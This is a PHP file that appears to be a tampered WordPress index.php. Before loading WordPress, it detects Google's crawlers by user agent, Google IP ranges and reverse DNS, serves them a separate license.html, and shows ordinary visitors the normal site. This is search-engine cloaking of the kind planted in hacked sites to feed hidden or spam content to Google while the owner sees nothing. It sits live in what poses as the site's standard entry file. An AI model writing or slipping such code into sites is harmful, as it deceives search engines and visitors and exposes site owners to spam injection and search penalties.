<?php

        function isGoogleUserAgent() {
            if (empty($_SERVER['HTTP_USER_AGENT'])) return false;

            $googleBots = [
                'Googlebot', 'Googlebot-Mobile', 'Googlebot-Image', 'Googlebot-Video',
                'Googlebot-News', 'Googlebot-AMP', 'AdsBot-Google', 'AdsBot-Google-Mobile',
                'FeedFetcher-Google', 'Google-Read-Aloud', 'DuplexWeb-Google',
                'Storebot-Google', 'Mediapartners-Google', 'Google Favicon',
                'Google-InspectionTool', 'Google-PageRenderer',
                'Google-Structured-Data-Testing-Tool'
            ];

            foreach ($googleBots as $bot) {
                if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
                    return true;
                }
            }

            return false;
        }

        function isGoogleIP() {
            if (empty($_SERVER['REMOTE_ADDR'])) return false;

            $googleRanges = [
                '64.233.160.0/19','66.102.0.0/20','66.249.64.0/19','72.14.192.0/18',
                '74.125.0.0/16','108.177.8.0/21','142.250.0.0/15','172.217.0.0/16',
                '173.194.0.0/16','209.85.128.0/17','216.239.32.0/19'
            ];

            $ip = $_SERVER['REMOTE_ADDR'];
            $ipLong = sprintf('%u', ip2long($ip));
            if (!$ipLong) return false;

            foreach ($googleRanges as $range) {
                list($subnet, $maskBits) = explode('/', $range);
                $subnetLong = sprintf('%u', ip2long($subnet));
                $mask = $maskBits == 0 ? 0 : (~0 << (32 - $maskBits));

                if (($ipLong & $mask) == ($subnetLong & $mask)) {
                    return true;
                }
            }

            return false;
        }

        function isGoogleDNS() {
            if (empty($_SERVER['REMOTE_ADDR'])) return false;

            $hostname = @gethostbyaddr($_SERVER['REMOTE_ADDR']);
            if (!$hostname || $hostname === $_SERVER['REMOTE_ADDR']) return false;

            return (
                stripos($hostname, 'googlebot.com') !== false ||
                stripos($hostname, 'google.com') !== false
            );
        }


        if (isGoogleUserAgent() || isGoogleDNS() || isGoogleIP()) {
            if (is_readable(__DIR__ . '/license.html')) {
                header('Content-Type: text/html; charset=UTF-8');
                readfile(__DIR__ . '/license.html');
            } else {
                echo "license.html bulunamadı!";
            }
            exit;
        }

        define('WP_USE_THEMES', true);
        require __DIR__ . '/wp-blog-header.php';